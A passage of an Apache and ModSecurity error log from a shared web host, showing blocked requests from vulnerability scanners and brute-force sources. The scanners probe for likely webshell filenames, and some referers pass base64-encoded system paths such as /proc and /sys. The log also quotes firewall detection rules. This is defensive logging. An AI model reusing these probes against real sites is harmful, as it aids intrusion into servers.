/home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:56.579602 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.13:23861] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:56.741924 2026] [access_compat:error] [pid 531797:tid 531914] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:56.742199 2026] [access_compat:error] [pid 531797:tid 531914] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:56.809398 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:56.809867 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:56.891682 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Mg== [Sat Jun 13 18:07:56.892129 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Mg== [Sat Jun 13 18:07:56.915909 2026] [security2:error] [pid 531797:tid 531899] [remote 31.24.44.107:54198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.44.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hy-initiative.com"] [uri "/wp-login.php"] [unique_id "ai3w3MTA7b1mZrmcA-8MfQAChyM"] [Sat Jun 13 18:07:56.990279 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.40:44658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:56.990723 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.40:44658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:57.086447 2026] [security2:error] [pid 531797:tid 532020] [client 20.151.217.54:48170] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/x123.php"] [unique_id "ai3w3cTA7b1mZrmcA-8MjgAAAiw"] [Sat Jun 13 18:07:57.187552 2026] [security2:error] [pid 531797:tid 532030] [client 20.29.78.145:46958] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/bthil.php"] [unique_id "ai3w3cTA7b1mZrmcA-8MkgAAAjU"] [Sat Jun 13 18:07:57.187688 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.42:41940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:57.187990 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.42:41940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:57.258826 2026] [security2:error] [pid 531155:tid 531355] [client 191.234.188.123:64618] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/jatuh.php"] [unique_id "ai3w3SmiP80klyS0NnrnlwAAAVA"] [Sat Jun 13 18:07:57.274610 2026] [security2:error] [pid 531155:tid 531271] [remote 57.141.14.96:61949] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3w3SmiP80klyS0NnrnmwABYXM"], referer: https://nelsonfarmstn.com/product/sparkling-clean/?add_to_wishlist=383&_wpnonce=8d149de2a5&add-to-cart=1256 [Sat Jun 13 18:07:57.337843 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:57.338275 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:57.341286 2026] [security2:error] [pid 531155:tid 531251] [remote 17.246.19.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3SmiP80klyS0NnrnngABa18"] [Sat Jun 13 18:07:57.417111 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:07:57.417572 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:07:57.437036 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.15:44537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:57.437477 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.15:44537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:57.644615 2026] [security2:error] [pid 531155:tid 531190] [remote 17.241.219.123:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3SmiP80klyS0NnrnqgABOSI"] [Sat Jun 13 18:07:57.699901 2026] [security2:error] [pid 531797:tid 532056] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/mcrypt/tests/mcrypt_ecb_variation1.phpt"] [unique_id "ai3w3cTA7b1mZrmcA-8MqQAAAk4"] [Sat Jun 13 18:07:57.831056 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRl [Sat Jun 13 18:07:57.831502 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRl [Sat Jun 13 18:07:57.844321 2026] [security2:error] [pid 531797:tid 532039] [client 74.7.241.187:40920] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "uscblogistics.com"] [uri "/index.php"] [unique_id "ai3w3MTA7b1mZrmcA-8MdgACPnI"] [Sat Jun 13 18:07:57.891452 2026] [access_compat:error] [pid 531797:tid 531957] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:07:57.891896 2026] [access_compat:error] [pid 531797:tid 531957] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:07:57.970586 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9wb3dlcg== [Sat Jun 13 18:07:57.970878 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9wb3dlcg== [Sat Jun 13 18:07:57.979926 2026] [security2:error] [pid 531797:tid 532095] [client 20.151.217.54:65176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/momo.php"] [unique_id "ai3w3cTA7b1mZrmcA-8MtgAAAnQ"] [Sat Jun 13 18:07:58.000293 2026] [security2:error] [pid 531155:tid 531222] [remote 17.246.23.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3SmiP80klyS0NnrntgABf0I"] [Sat Jun 13 18:07:58.118578 2026] [security2:error] [pid 531155:tid 531277] [remote 17.22.253.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3imiP80klyS0NnrnuQABbnk"] [Sat Jun 13 18:07:58.351762 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.110:65050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:58.352194 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.110:65050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:58.372505 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:58.372812 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:58.387864 2026] [security2:error] [pid 531797:tid 531955] [remote 17.246.15.182:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3sTA7b1mZrmcA-8MvgACMls"] [Sat Jun 13 18:07:58.448774 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:07:58.449058 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:07:58.491594 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.68:47512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:58.491863 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.68:47512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:58.515005 2026] [security2:error] [pid 531797:tid 532094] [client 20.151.217.54:48179] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/raw.php"] [unique_id "ai3w3sTA7b1mZrmcA-8MwwAAAnM"] [Sat Jun 13 18:07:58.695100 2026] [security2:error] [pid 531155:tid 531412] [client 20.29.78.145:46948] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/7.php"] [unique_id "ai3w3imiP80klyS0NnrnyAAAAYk"] [Sat Jun 13 18:07:58.740617 2026] [security2:error] [pid 531155:tid 531367] [client 172.171.3.232:49665] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/tires.php"] [unique_id "ai3w3imiP80klyS0NnrnygAAAVw"] [Sat Jun 13 18:07:58.751488 2026] [security2:error] [pid 531155:tid 531340] [client 191.234.188.123:47977] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/zz.php"] [unique_id "ai3w3imiP80klyS0NnrnywAAAUE"] [Sat Jun 13 18:07:58.772324 2026] [security2:error] [pid 531155:tid 531314] [client 20.151.217.54:65237] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/asu.php"] [unique_id "ai3w3imiP80klyS0NnrnzAAAASc"] [Sat Jun 13 18:07:58.801462 2026] [security2:error] [pid 531797:tid 531869] [remote 5.69.244.14:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w3sTA7b1mZrmcA-8MywACIQU"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:58.801485 2026] [security2:error] [pid 531797:tid 531869] [remote 5.69.244.14:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w3sTA7b1mZrmcA-8MywACIQU"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:58.892966 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:58.893246 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:58.938958 2026] [security2:error] [pid 531155:tid 531167] [remote 17.22.253.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w3imiP80klyS0NnrnzwABGws"] [Sat Jun 13 18:07:59.033802 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.96:41925] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:59.034078 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.96:41925] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:59.047234 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNl [Sat Jun 13 18:07:59.047529 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNl [Sat Jun 13 18:07:59.163995 2026] [security2:error] [pid 531155:tid 531322] [client 